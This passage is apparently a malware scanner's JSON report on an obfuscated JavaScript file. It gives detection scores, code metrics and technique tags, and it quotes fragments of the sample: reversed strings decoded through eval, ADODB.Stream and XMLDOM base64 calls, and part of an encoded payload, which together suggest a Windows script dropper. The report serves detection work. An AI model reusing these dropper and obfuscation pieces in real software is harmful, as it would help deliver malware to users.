{
  "ml": {
    "v": "5",
    "fs": [
      {
        "id": 0,
        "prob": 1.0,
        "class": 2,
        "threshold": 0.9984939694404602
      }
    ],
    "prob": 1.0,
    "class": 2,
    "level": 3,
    "models": [
      {
        "m": "az",
        "prob": 0.8911782,
        "class": 0
      },
      {
        "m": "az/scripts",
        "prob": 0.9736842,
        "class": 0
      },
      {
        "m": "az/javascript",
        "prob": 1.0,
        "class": 2
      }
    ],
    "version": "v17.17",
    "threshold": 0.99849397,
    "analyzed_at": "2026-05-31T05:18:02Z"
  },
  "path": "dc628151dd00039d1f96e11cfffcca93ca411132073a71b5bf9bee3d5368a56c.js",
  "raw": {
    "v": "5",
    "fs": [
      {
        "f": "O(As₃)Md",
        "x": 41,
        "ff": {
          "i": [
            [
              "",
              "String.prototype.proc"
            ],
            [
              "",
              "eval"
            ],
            [
              "",
              "Array.prototype.\\x75\\x6E\\x64\\x65\\x66\\x69\\x6E\\x65\\x64"
            ],
            [
              "",
              "String.\\u0070\\u0072\\u006f\\u0074\\u006f\\u0074\\u0079\\u0070\\u0065.\\u006D\\u006F\\u0075\\u0073\\u0065"
            ],
            [
              "",
              "eval"
            ],
            [
              "",
              "\\u006D\\u0033\\u004D\\u006F\\u0072\\u0059\\u006B\\u0041\\u0064"
            ],
            [
              "",
              "\"txeTdaeR|\".mouse"
            ],
            [
              "",
              "\"noitisoP|teSrahC\".mouse"
            ],
            [
              "",
              "\"epyT\".mouse"
            ],
            [
              "",
              "\"nepO\".mouse"
            ],
            [
              "",
              "oMut1"
            ],
            [
              "",
              "Array.prototype.d4rlaRm2"
            ],
            [
              "",
              "em3rwA"
            ],
            [
              "",
              "Array.prototype.s0fStu"
            ],
            [
              "",
              "Array"
            ],
            [
              "",
              "oMut1"
            ],
            [
              "",
              "Array"
            ],
            [
              "",
              "Array.join"
            ],
            [
              "",
              "Array"
            ],
            [
              "",
              "eval"
            ],
            [
              "",
              "Array.prototype.\\u006B\\u0034\\u0052\\u0064\\u0033"
            ],
            [
              "",
              "'epyTatad'.mouse"
            ],
            [
              "",
              "'46esab.nib'.mouse"
            ],
            [
              "",
              "eval"
            ]
          ],
          "m": {
            "ast": {
              "max_depth": 16.0,
              "bind_count": 13.0,
              "call_count": 27.0,
              "node_count": 894.0,
              "member_count": 9.0,
              "identifier_count": 32.0,
              "member_depth_max": 3.0,
              "string_literal_count": 36.0,
              "array_literal_max_length": 3.0,
              "string_concat_chain_max_length": 4.0
            },
            "file": {
              "size": 207393.0,
              "entropy": 5.64,
              "size_bytes": 207393.0
            },
            "text": {
              "tab_count": 31.0,
              "digit_ratio": 0.17,
              "space_count": 90.0,
              "total_lines": 28.0,
              "char_entropy": 5.64,
              "unique_chars": 84.0,
              "escape_density": 0.08,
              "lines_over_200": 5.0,
              "lines_over_500": 1.0,
              "string_density": 1.29,
              "avg_line_length": 7405.93,
              "lines_over_1000": 1.0,
              "max_line_length": 205100.0,
              "empty_line_ratio": 0.18,
              "hex_escape_count": 120.0,
              "last_line_length": 150.0,
              "long_token_count": 5.0,
              "whitespace_ratio": 0.0,
              "most_common_ratio": 0.04,
              "identifier_density": 2.93,
              "line_length_stddev": 38046.38,
              "unicode_escape_count": 37.0,
              "normalized_string_count": 6.8,
              "suspicious_string_ratio": 0.03,
              "most_common_char_is_null": 0.0,
              "max_inline_whitespace_run": 1.0,
              "trailing_whitespace_lines": 2.0,
              "most_common_char_codepoint": 49.0,
              "suspicious_identifier_ratio": 0.16,
              "normalized_unique_identifiers": 6.66
            },
            "binds": {
              "count": 13.0
            },
            "calls": {
              "count": 27.0
            },
            "members": {
              "count": 9.0
            },
            "strings": {
              "total": 36.0,
              "avg_length": 5725.72,
              "max_length": 205072.0,
              "avg_entropy": 3.01,
              "empty_count": 1.0,
              "total_bytes": 206126.0,
              "entropy_stddev": 1.07,
              "very_long_strings": 1.0,
              "high_entropy_count": 1.0,
              "unicode_heavy_strings": 7.0,
              "embedded_code_candidates": 1.0
            },
            "functions": {
              "anonymous": 8.0,
              "avg_params": 0.5,
              "max_params": 2.0,
              "one_liners": 6.0,
              "length_stddev": 1.39,
              "no_params_count": 6.0,
              "avg_length_lines": 1.75,
              "max_length_lines": 5.0,
              "min_length_lines": 1.0,
              "nested_functions": 2.0,
              "avg_nesting_depth": 0.25,
              "max_nesting_depth": 1.0,
              "avg_param_name_length": 5.0,
              "density_per_100_lines": 28.57,
              "code_in_functions_ratio": 0.5
            },
            "identifiers": {
              "count": 32.0,
              "total": 82.0,
              "avg_length": 11.19,
              "max_length": 54.0,
              "min_length": 1.0,
              "avg_entropy": 2.04,
              "reuse_ratio": 0.39,
              "unique_count": 32.0,
              "length_stddev": 15.21,
              "has_digit_ratio": 0.41,
              "sequential_names": 3.0,
              "base64_like_names": 2.0,
              "single_char_count": 3.0,
              "single_char_ratio": 0.09,
              "all_lowercase_ratio": 0.47,
              "all_uppercase_ratio": 0.03,
              "numeric_suffix_count": 10.0
            }
          },
          "s": [
            [
              7,
              "u8",
              "prototype"
            ],
            [
              8,
              "u8",
              "prototype"
            ],
            [
              71,
              "u8",
              "prototype"
            ],
            [
              72,
              "u8",
              "prototype"
            ],
            [
              84,
              "u8",
              "\\x75\\x6E\\x64\\x65\\x66\\x69\\x6E\\x65\\x64"
            ],
            [
              162,
              "10",
              "3"
            ],
            [
              170,
              "10",
              "0"
            ],
            [
              176,
              "10",
              "4"
            ],
            [
              184,
              "10",
              "1"
            ],
            [
              190,
              "10",
              "5"
            ],
            [
              198,
              "10",
              "2"
            ],
            [
              205,
              "10",
              "0"
            ],
            [
              347,
              "10",
              "0"
            ],
            [
              390,
              "u8",
              "var cd = this.toString().substr(i, 1);cd;"
            ],
            [
              391,
              "u8",
              "var cd = this.toString().substr(i, 1);cd;"
            ],
            [
              526,
              "u8",
              "\\x43\\x72\\x65\\x61\\x74\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74"
            ],
            [
              577,
              "u8",
              "txeTdaeR|"
            ],
            [
              578,
              "u8",
              "txeTdaeR|"
            ],
            [
              597,
              "u8",
              "|undefined|\\x61\\x64\\x6F\\x64\\x62\\x2E|"
            ],
            [
              598,
              "u8",
              "|undefined|"
            ],
            [
              633,
              "u8",
              "|"
            ],
            [
              636,
              "u8",
              "noitisoP|teSrahC"
            ],
            [
              637,
              "u8",
              "noitisoP|teSrahC"
            ],
            [
              670,
              "u8",
              "|"
            ],
            [
              671,
              "u8",
              "|"
            ],
            [
              682,
              "u8",
              "epyT"
            ],
            [
              683,
              "u8",
              "epyT"
            ],
            [
              698,
              "u8",
              "nepO"
            ],
            [
              699,
              "u8",
              "nepO"
            ],
            [
              855,
              "10",
              "0"
            ],
            [
              858,
              "u8",
              "replace"
            ],
            [
              859,
              "u8",
              "replace"
            ],
            [
              206087,
              "10",
              "2"
            ],
            [
              206098,
              "u8",
              "m3MorYkAd[4]()[m3MorYkAd[1][6]] = 1;m3MorYkAd[4]()[m3MorYkAd[1][7]]();m3MorYkAd[4]()[\\\"Writ\\\"+\\\"e\\\"](m3MorYkAd[3][1]['nodeTypedV"
            ],
            [
              206099,
              "u8",
              "m3MorYkAd[4]()[m3MorYkAd[1][6]] = 1;m3MorYkAd[4]()[m3MorYkAd[1][7]]();m3MorYkAd[4]()["
            ],
            [
              206186,
              "u8",
              "Writ"
            ],
            [
              206192,
              "u8",
              "+"
            ],
            [
              206195,
              "u8",
              "e"
            ],
            [
              206198,
              "u8",
              "](m3MorYkAd[3][1]['nodeTypedValue']);"
            ],
            [
              206244,
              "u8",
              "m3MorYkAd[4]()[m3MorYkAd[1][5]] = 0;m3MorYkAd[4]()[m3MorYkAd[1][6]] = 2;"
            ],
            [
              206245,
              "u8",
              "m3MorYkAd[4]()[m3MorYkAd[1][5]] = 0;m3MorYkAd[4]()[m3MorYkAd[1][6]] = 2;"
            ],
            [
              206326,
              "u8",
              "m3MorYkAd[4]()[m3MorYkAd[1][4]] = m3MorYkAd[3][2][0];"
            ],
            [
              206327,
              "u8",
              "m3MorYkAd[4]()[m3MorYkAd[1][4]] = m3MorYkAd[3][2][0];"
            ],
            [
              206432,
              "10",
              "1"
            ],
            [
              206435,
              "10",
              "0"
            ],
            [
              206440,
              "u8",
              "\\x61\\x64{0}\\x62\\x2E{1}\\x72\\x65{2}"
            ],
            [
              206449,
              "u8",
              "{0}"
            ],
            [
              206460,
              "u8",
              "{1}"
            ],
            [
              206471,
              "u8",
              "{2}"
            ],
            [
              206486,
              "u8",
              "\\x6F\\x64"
            ],
            [
              206498,
              "u8",
              "\\x73\\x74"
            ],
            [
              206510,
              "u8",
              "\\x61\\x6D"
            ],
            [
              206537,
              "10",
              "1"
            ],
            [
              206540,
              "10",
              "0"
            ],
            [
              206544,
              "u8",
              "\\x6D\\x69\\x63\\x72\\x6F\\x73\\x6F\\x66\\x74\\x2E\\x78\\x6D\\x6C\\x64\\x6F\\x6D"
            ],
            [
              206618,
              "u8",
              "create\\x45\\x6C"
            ],
            [
              206619,
              "u8",
              "create"
            ],
            [
              206635,
              "u8",
              "\\x6D"
            ],
            [
              206642,
              "u8",
              "\\x6E\\x74"
            ],
            [
              206659,
              "u8",
              "\\x65"
            ],
            [
              206668,
              "u8",
              "bst"
            ],
            [
              206669,
              "u8",
              "bst"
            ],
            [
              206676,
              "u8",
              "us-\\x61\\x73\\x63\\x69\\x69"
            ],
            [
              206677,
              "u8",
              "us-"
            ],
            [
              206732,
              "10",
              "3"
            ],
            [
              206735,
              "10",
              "0"
            ],
            [
              206761,
              "10",
              "0"
            ],
            [
              206776,
              "10",
              "2"
            ],
            [
              206807,
              "10",
              "2"
            ],
            [
              206907,
              "u8",
              "\\x6D\\x33\\x4D\\x6F\\x72\\x59\\x6B\\x41\\x64\\x20\\x3D\\x20\\x5B\\x65\\x76\\x61\\x6C\\x2C\\x20\\x6D\\x33\\x4D\\x6F\\x72\\x59\\x6B\\x41\\x64\\x5B\\x34\\x5D\\x28"
            ],
            [
              207137,
              "10",
              "3"
            ],
            [
              207140,
              "10",
              "1"
            ],
            [
              207143,
              "u8",
              "epyTatad"
            ],
            [
              207144,
              "u8",
              "epyTatad"
            ],
            [
              207165,
              "u8",
              "46esab.nib"
            ],
            [
              207166,
              "u8",
              "46esab.nib"
            ],
            [
              207193,
              "u8",
              "var tmx = [[].s0fStu].d4rlaRm2(\"g\", \"F\", \"P\")"
            ],
            [
              207194,
              "u8",
              "var tmx = [[].s0fStu].d4rlaRm2(\"g\", \"F\", \"P\")"
            ],
            [
              207244,
              "u8",
              "m3MorYkAd[3][1][\"text\\\"] = tmx;m3MorYkA{0}d3;m3MorYkA{1}m3MorYkA{2}]());"
            ],
            [
              207245,
              "u8",
              "m3MorYkAd[3][1][\"text"
            ],
            [
              207268,
              "u8",
              "] = tmx;m3MorYkA{0}d3;m3MorYkA{1}m3MorYkA{2}]());"
            ],
            [
              207329,
              "u8",
              "d[2][3] = [].k4R"
            ],
            [
              207330,
              "u8",
              "d[2][3] = [].k4R"
            ],
            [
              207349,
              "u8",
              "d[5]();eval(m3MorYkAd[1]["
            ],
            [
              207350,
              "u8",
              "d[5]();eval(m3MorYkAd[1]["
            ],
            [
              207378,
              "u8",
              "d[2]"
            ],
            [
              207379,
              "u8",
              "d[2]"
            ],
            [
              65,
              "unicode-escape",
              "Array[\"prototype\"][\"undefined\"] = function(xx, xy) {"
            ],
            [
              214,
              "unicode-escape",
              "String.prototype.mouse = {mp3: function(){var d = \"\";for(var i=0; i\u003cthis.toString().length; i++){d = eval(\"var cd = this.toStrin"
            ],
            [
              457,
              "unicode-escape",
              "var m3MorYkAd = [null,"
            ],
            [
              525,
              "unicode-escape",
              "(\"CreateObject\"+\"txeTdaeR|\".mouse()+\"|undefined|adodb.|\"+\"noitisoP|teSrahC\".mouse()).split(\"|\").concat(\"epyT\".mouse(), \"nepO\".mo"
            ],
            [
              735,
              "unicode-escape",
              "Array.prototype.d4rlaRm2 = function() {var em3rwA = arguments; return this[0][\"replace\"](/{(\\d+)}/g, function(skokkti0, skokkti1"
            ],
            [
              976,
              "base64",
              "bcYVSdzwzjjvMJWfwDUEsHCKa5a%\u003c!cYBg%\u003c!%\u003c!dQw%\u003c!%\u003c!FBL%\u003c!wQU%\u003c!%\u003c!gIC%\u003c!%\u003c!ND1ZZ%\u003c!%\u003c!%\u003c!%\u003c!%\u003c!%\u003c!%\u003c!%\u003c!%\u003c!%\u003c!%\u003c!%\u003c!%\u003c!%\u003c!%\u003c!%\u003c!Fw"
            ],
            [
              206403,
              "unicode-escape",
              "oMut1 = [Array(WSH[m3MorYkAd[1][0]]([\"ad{0}b.{1}re{2}\"].d4rlaRm2(\"od\", \"st\", \"am\")),WSH[m3MorYkAd[1][0]](\"microsoft.xmldom\")[Arr"
            ],
            [
              206858,
              "unicode-escape",
              "Array.prototype.k4Rd3 = \"m3MorYkAd = [eval, m3MorYkAd[4](), [m3MorYkAd[1][1]]];\";"
            ]
          ],
          "v": {
            "file.stem": "dc628151dd00039d1f96e11cfffcca93ca411132073a71b5bf9bee3d5368a56c",
            "file.basename": "dc628151dd00039d1f96e11cfffcca93ca411132073a71b5bf9bee3d5368a56c.js",
            "source.language": "javascript",
            "source.imports[0]": "\"epyT\".mouse",
            "source.imports[1]": "\"nepO\".mouse",
            "source.imports[2]": "\"noitisoP|teSrahC\".mouse",
            "source.imports[3]": "\"txeTdaeR|\".mouse",
            "source.imports[4]": "'46esab.nib'.mouse",
            "source.imports[5]": "'epyTatad'.mouse",
            "source.imports[6]": "Array",
            "source.imports[7]": "Array.join",
            "source.imports[8]": "Array.prototype.\\u006B\\u0034\\u0052\\u0064\\u0033",
            "source.imports[9]": "Array.prototype.\\x75\\x6E\\x64\\x65\\x66\\x69\\x6E\\x65\\x64",
            "source.strings[0]": "(\"CreateObject\"+\"txeTdaeR|\".mouse()+\"|undefined|adodb.|\"+\"noitisoP|teSrahC\".mouse()).split(\"|\").concat(\"epyT\".mouse(), \"nepO\".mouse())];",
            "source.strings[1]": "46esab.nib",
            "source.strings[2]": "Array.prototype.d4rlaRm2 = function() {var em3rwA = arguments; return this[0][\"replace\"](/{(\\d+)}/g, function(skokkti0, skokkti1) { try{\treturn em3rwA[skokkti1];}catch(ex){\treturn skokkti0;}});}",
            "source.strings[3]": "Array.prototype.k4Rd3 = \"m3MorYkAd = [eval, m3MorYkAd[4](), [m3MorYkAd[1][1]]];\";",
            "source.strings[4]": "Array[\"prototype\"][\"undefined\"] = function(xx, xy) {",
            "source.strings[5]": "String.prototype.mouse = {mp3: function(){var d = \"\";for(var i=0; i\u003cthis.toString().length; i++){d = eval(\"var cd = this.toString().substr(i, 1);cd;\") + d;}return d;}}.mp3;",
            "source.strings[6]": "\\x43\\x72\\x65\\x61\\x74\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74",
            "source.strings[7]": "\\x61\\x64{0}\\x62\\x2E{1}\\x72\\x65{2}",
            "source.strings[8]": "\\x61\\x6D",
            "source.strings[9]": "\\x6D\\x33\\x4D\\x6F\\x72\\x59\\x6B\\x41\\x64\\x20\\x3D\\x20\\x5B\\x65\\x76\\x61\\x6C\\x2C\\x20\\x6D\\x33\\x4D\\x6F\\x72\\x59\\x6B\\x41\\x64\\x5B\\x34\\x5D\\x28\\x29\\x2C\\x20\\x5B\\x6D\\x33\\x4D\\x6F\\x72\\x59\\x6B\\x41\\x64\\x5B\\x31\\x5D\\x5B\\x31\\x5D\\x5D\\x5D\\x3B",
            "source.has_imports": true,
            "source.imports[10]": "Array.prototype.d4rlaRm2",
            "source.imports[11]": "Array.prototype.s0fStu",
            "source.imports[12]": "String.\\u0070\\u0072\\u006f\\u0074\\u006f\\u0074\\u0079\\u0070\\u0065.\\u006D\\u006F\\u0075\\u0073\\u0065",
            "source.imports[13]": "String.prototype.proc",
            "source.imports[14]": "\\u006D\\u0033\\u004D\\u006F\\u0072\\u0059\\u006B\\u0041\\u0064",
            "source.imports[15]": "em3rwA",
            "source.imports[16]": "eval",
            "source.imports[17]": "oMut1",
            "source.strings[10]": "\\x6D\\x69\\x63\\x72\\x6F\\x73\\x6F\\x66\\x74\\x2E\\x78\\x6D\\x6C\\x64\\x6F\\x6D",
            "source.strings[11]": "\\x6E\\x74",
            "source.strings[12]": "\\x6F\\x64",
            "source.strings[13]": "\\x73\\x74",
            "source.strings[14]": "\\x75\\x6E\\x64\\x65\\x66\\x69\\x6E\\x65\\x64",
            "source.strings[15]": "] = tmx;m3MorYkA{0}d3;m3MorYkA{1}m3MorYkA{2}]());",
            "source.strings[16]": "](m3MorYkAd[3][1]['nodeTypedValue']);",
            "source.strings[17]": "bcYVSdzwzjjvMJWfwDUEsHCKa5a%\u003c!cYBg%\u003c!%\u003c!dQw%\u003c!%\u003c!FBL%\u003c!wQU%\u003c!%\u003c!gIC%\u003c!%\u003c!ND1ZZ%\u003c!%\u003c!%\u003c!%\u003c!%\u003c!%\u003c!%\u003c!%\u003c!%\u003c!%\u003c!%\u003c!%\u003c!%\u003c!%\u003c!%\u003c!%\u003c!Fw%",
            "source.strings[18]": "create",
            "source.strings[19]": "create\\x45\\x6C",
            "source.strings[20]": "d[2][3] = [].k4R",
            "source.strings[21]": "d[5]();eval(m3MorYkAd[1][",
            "source.strings[22]": "epyTatad",
            "source.strings[23]": "m3MorYkAd[3][1][\"text",
            "source.strings[24]": "m3MorYkAd[3][1][\"text\\\"] = tmx;m3MorYkA{0}d3;m3MorYkA{1}m3MorYkA{2}]());",
            "source.strings[25]": "m3MorYkAd[4]()[m3MorYkAd[1][4]] = m3MorYkAd[3][2][0];",
            "source.strings[26]": "m3MorYkAd[4]()[m3MorYkAd[1][5]] = 0;m3MorYkAd[4]()[m3MorYkAd[1][6]] = 2;",
            "source.strings[27]": "m3MorYkAd[4]()[m3MorYkAd[1][6]] = 1;m3MorYkAd[4]()[m3MorYkAd[1][7]]();m3MorYkAd[4]()[",
            "source.strings[28]": "m3MorYkAd[4]()[m3MorYkAd[1][6]] = 1;m3MorYkAd[4]()[m3MorYkAd[1][7]]();m3MorYkAd[4]()[\\\"Writ\\\"+\\\"e\\\"](m3MorYkAd[3][1]['nodeTypedValue']);",
            "source.strings[29]": "noitisoP|teSrahC",
            "source.strings[30]": "oMut1 = [Array(WSH[m3MorYkAd[1][0]]([\"ad{0}b.{1}re{2}\"].d4rlaRm2(\"od\", \"st\", \"am\")),WSH[m3MorYkAd[1][0]](\"microsoft.xmldom\")[Array(\"createEl\",\"m\",\"nt\").join(\"e\")](\"bst\"),[\"us-ascii\"]),function(){return m3MorYkAd[3][0];},function(){for(var p=0; p\u003cm3MorYkAd[2].length; p++){eval(m3MorYkAd[2][p]);}}];",
            "source.strings[31]": "prototype",
            "source.strings[32]": "replace",
            "source.strings[33]": "txeTdaeR|",
            "source.strings[34]": "us-\\x61\\x73\\x63\\x69\\x69",
            "source.strings[35]": "var cd = this.toString().substr(i, 1);cd;",
            "source.strings[36]": "var m3MorYkAd = [null,",
            "source.strings[37]": "var tmx = [[].s0fStu].d4rlaRm2(\"g\", \"F\", \"P\")",
            "source.strings[38]": "|undefined|",
            "source.strings[39]": "|undefined|\\x61\\x64\\x6F\\x64\\x62\\x2E|",
            "source.functions[0]": "anonymous"
          },
          "ct": [
            "Array",
            "Array().join",
            "eval"
          ],
          "id": "javascript",
          "mc": [
            "Array().join",
            "Array.prototype",
            "Array.prototype.\\u006B\\u0034\\u0052\\u0064\\u0033",
            "Array.prototype.d4rlaRm2",
            "Array.prototype.s0fStu",
            "String.\\u0070\\u0072\\u006f\\u0074\\u006f\\u0074\\u0079\\u0070\\u0065",
            "String.\\u0070\\u0072\\u006f\\u0074\\u006f\\u0074\\u0079\\u0070\\u0065.\\u006D\\u006F\\u0075\\u0073\\u0065",
            "String.prototype",
            "String.prototype.proc"
          ]
        },
        "id": 0,
        "sz": 207393,
        "ts": [
          {
            "a": "T1027",
            "c": 0.75,
            "d": "Array element assignment swap step",
            "e": [
              "xx[3] = xy[0]"
            ],
            "i": "objectives/anti-static/obfuscation/tools/js-obfuscator::array-swap-elements",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Exactly one line exceeds 1000 chars",
            "e": [
              "text.lines_over_1000 = 1.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::single-long-line-outlier",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.949999988079071,
            "d": "Regex component marker",
            "e": [
              ").join"
            ],
            "i": "objectives/anti-static/obfuscation/string/reverse::js-reverse-then-eval--rx-12",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.9200000166893005,
            "d": "Large minified JavaScript bundle",
            "e": [
              "text.max_line_length = 205100.00"
            ],
            "i": "metadata/library/structure::js-large-minified-bundle",
            "l": 2
          },
          {
            "c": 0.8199999928474426,
            "d": "Array literal joined with empty string",
            "e": [
              "d[2]",
              "['m3MorYkAd[3][1][\"text\\\"] = tmx;m3MorYkA{0}d3;m3MorYkA{1}m3MorYkA{2}]());']",
              "d4rlaRm2",
              "d[2][3] = [].k4R",
              "d[5]();eval(m3MorYkAd[1]["
            ],
            "i": "objectives/execution/interpreter/scripting/host::array-join-empty-string-ast",
            "l": 1,
            "el": [
              "28:137",
              "28:1",
              "28:78",
              "28:88",
              "28:108"
            ]
          },
          {
            "c": 1.0,
            "d": "Substring call",
            "e": [
              "substr("
            ],
            "i": "micro-behaviors/data/encode/xor::js-substring",
            "l": 2,
            "el": [
              "0x186"
            ]
          },
          {
            "c": 1.0,
            "d": "Plain JavaScript identifier assignment",
            "e": [
              "oMut1 = null;"
            ],
            "i": "metadata/lang/scripted::plain-js-identifier-assignment",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "Very long line",
            "e": [
              "text.max_line_length = 205100.00"
            ],
            "i": "metadata/file/text/metrics::single-long-line",
            "l": 1
          },
          {
            "c": 0.8199999928474426,
            "d": "JavaScript static key string assignment",
            "e": [
              "= 'dm{1}yIG5lbTQ0Ow0Kdm{1}yIGxvbmdUZXh0ID0{0}IlV{1}c0RCQlEl{2}C{1}DJTwhZ0kl{2}CEl{2}CEwU{1}ZsayU8ISU8ISU8ISU8ISU8ISU8ISU8ISU8ISU"
            ],
            "i": "micro-behaviors/crypto/symmetric/aes/library::js-static-key-string-assignment",
            "l": 1
          },
          {
            "a": "T1195.002",
            "c": 0.949999988079071,
            "d": "A single line exceeds 50,000 characters",
            "e": [
              "text.max_line_length = 205100.00"
            ],
            "i": "objectives/supply-chain/hidden-payload/runtime::high-max-line-length",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "JavaScript undefined literal",
            "e": [
              "undefined"
            ],
            "i": "metadata/lang/scripted::undefined-literal",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "toString method token",
            "e": [
              "toString"
            ],
            "i": "micro-behaviors/data/encode/tostring::tostring-token",
            "l": 1
          },
          {
            "c": 0.30000001192092896,
            "d": "for loop (content)",
            "e": [
              ";for("
            ],
            "i": "micro-behaviors/data/control-flow/analysis::for-loop-content",
            "l": 2
          },
          {
            "c": 1.0,
            "d": ".toString() method call",
            "e": [
              ".toString()"
            ],
            "i": "micro-behaviors/data/encode/tostring::tostring-call",
            "l": 1
          },
          {
            "c": 0.30000001192092896,
            "d": "for loop (AST)",
            "e": [
              "for(var i=0; i\u003cthis.toString().length; i++){d = eval(\"var cd = this.toString().substr(i, 1);cd;\") + ...",
              "for(var p=0; p\u003cm3MorYkAd[2].length; p++){eval(m3MorYkAd[2][p]);}"
            ],
            "i": "micro-behaviors/data/control-flow/analysis::for-loop-ast",
            "l": 2,
            "el": [
              "7:124",
              "20:349"
            ]
          },
          {
            "a": "T1027",
            "c": 0.9300000071525574,
            "d": "Regex component marker",
            "e": [
              ".split("
            ],
            "i": "objectives/anti-static/obfuscation/string/reverse::js-reverse-split-then-decode--rx-4",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 1.0,
            "d": "JavaScript length property",
            "e": [
              "length"
            ],
            "i": "metadata/lang/scripted::length-prop",
            "l": 1
          },
          {
            "a": "T1027.002",
            "c": 0.8999999761581421,
            "d": "LZString decoded value split call",
            "e": [
              ").split(\"|\")"
            ],
            "i": "objectives/anti-static/obfuscation/string/encoding::js-lzstring-table-split-call",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.9300000071525574,
            "d": "Regex component marker",
            "e": [
              ").join"
            ],
            "i": "objectives/anti-static/obfuscation/string/reverse::js-decode-then-reverse-split--rx-8",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.949999988079071,
            "d": "JavaScript or TypeScript basename",
            "e": [
              "dc628151dd00039d1f96e11cfffcca93ca411132073a71b5bf9bee3d5368a56c.js"
            ],
            "i": "metadata/lang/source::js-ts-source-basename",
            "l": 2
          },
          {
            "c": 0.949999988079071,
            "d": "eval/new Function call (flatted tamper fragment)",
            "e": [
              "eval("
            ],
            "i": "well-known/lib/flatted::flatted-tamper-eval",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.949999988079071,
            "d": "Regex component marker",
            "e": [
              ".split("
            ],
            "i": "objectives/anti-static/obfuscation/string/reverse::js-reverse-then-eval--rx-13",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.8399999737739563,
            "d": "Regex component marker",
            "e": [
              "join("
            ],
            "i": "micro-behaviors/fs/file/read::require-cwd-package-json--rx-4",
            "l": 1
          },
          {
            "c": 0.9700000286102295,
            "d": "Validation vocabulary string",
            "e": [
              "String"
            ],
            "i": "metadata/file/text/format::vocab-string",
            "l": 1
          },
          {
            "a": "T1027.010",
            "d": "Custom base64 decode lookup table",
            "e": [
              "}hNjBwR0MyUHV4ZWRhbTVqZW50ejhQWk83clMzZmpzWXo5Q2R4Vis5L3QvVUVzSEN{"
            ],
            "i": "micro-behaviors/data/encode/base64::decode-table",
            "l": 2,
            "m": "B0032.001"
          },
          {
            "a": "T1027",
            "c": 0.9300000071525574,
            "d": "Regex component marker",
            "e": [
              ").join"
            ],
            "i": "objectives/anti-static/obfuscation/string/reverse::js-reverse-split-then-decode--rx-3",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.9300000071525574,
            "d": "Regex component marker",
            "e": [
              ".split("
            ],
            "i": "objectives/anti-static/obfuscation/string/reverse::js-decode-then-reverse-split--rx-9",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 1.0,
            "d": "JavaScript file basename",
            "e": [
              "dc628151dd00039d1f96e11cfffcca93ca411132073a71b5bf9bee3d5368a56c.js"
            ],
            "i": "metadata/lang/encoded/unicode-escape::javascript-or-dll-basename",
            "l": 1
          },
          {
            "c": 0.9700000286102295,
            "d": "Validation vocabulary array",
            "e": [
              "Array"
            ],
            "i": "metadata/file/text/format::vocab-array",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "Medium minified JavaScript line",
            "e": [
              "text.max_line_length = 205100.00"
            ],
            "i": "metadata/library/structure::js-medium-minified-line",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "Obfuscated String method call (String[...])",
            "e": [
              "String["
            ],
            "i": "micro-behaviors/data/source/syntax/keyword::js-obfuscated-string-method",
            "l": 2
          },
          {
            "a": "T1027",
            "c": 0.8799999952316284,
            "d": "Single-line packed JavaScript loader profile",
            "e": [
              "text.max_line_length = 205100.00"
            ],
            "i": "objectives/supply-chain/hidden-payload/trojan::single-line-packed-loader-metrics",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.800000011920929,
            "d": "Property access via hex-escaped string in brackets",
            "e": [
              "[\"\\x75\\x6E\\x64\\x65\\x66\\x69\\x6E\\x65\\x64\"]"
            ],
            "i": "objectives/anti-static/obfuscation/string/dynamic::hex-escaped-bracket-property",
            "l": 4
          },
          {
            "c": 0.8500000238418579,
            "d": "High function density",
            "e": [
              "functions.density_per_100_lines = 28.57"
            ],
            "i": "metadata/file/text/metrics::high-function-density",
            "l": 2
          },
          {
            "a": "T1027",
            "c": 0.800000011920929,
            "d": "Interspersed hex escape sequences",
            "e": [
              "\\x6D\\x33\\x4D\\x6F\\x7",
              "\\x43\\x72\\x65\\x61\\x7",
              "\\x61\\x64{0}\\x62\\x2E{1}\\x72\\x6",
              "\\x6D\\x69\\x63\\x72\\x6",
              "\\x61\\x64\\x6F\\x64\\x6",
              "\\x61\\x73\\x63\\x69\\x6",
              "\\x75\\x6E\\x64\\x65\\x6"
            ],
            "i": "objectives/anti-static/obfuscation/string/encoding::js-interspersed-hex-escapes",
            "l": 3,
            "m": "B0032",
            "el": [
              "0x3283b",
              "0x20e",
              "0x32668",
              "0x326d0",
              "0x255",
              "0x32754",
              "0x54"
            ]
          },
          {
            "a": "T1059",
            "c": 0.949999988079071,
            "d": "Encoded eval() call",
            "e": [
              "String.prototype.mouse = {mp3: function(){var d = \"\";for(var i=0; i\u003cthis.toString().length; i++){d =...",
              "oMut1 = [Array(WSH[m3MorYkAd[1][0]]([\"ad{0}b.{1}re{2}\"].d4rlaRm2(\"od\", \"st\", \"am\")),WSH[m3MorYkAd[1]..."
            ],
            "i": "objectives/anti-static/obfuscation/encoding/content::encoded-eval",
            "l": 4,
            "el": [
              "0xd6",
              "0x32643"
            ]
          },
          {
            "a": "T1027",
            "c": 0.699999988079071,
            "d": "Very low whitespace ratio (minified/compressed)",
            "e": [
              "text.whitespace_ratio = 0.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace",
            "l": 2,
            "m": "B0032"
          },
          {
            "c": 0.8999999761581421,
            "d": "File has 20k character line",
            "e": [
              "text.max_line_length = 205100.00"
            ],
            "i": "objectives/anti-static/obfuscation/string/reconstruct::max-line-length-20000",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
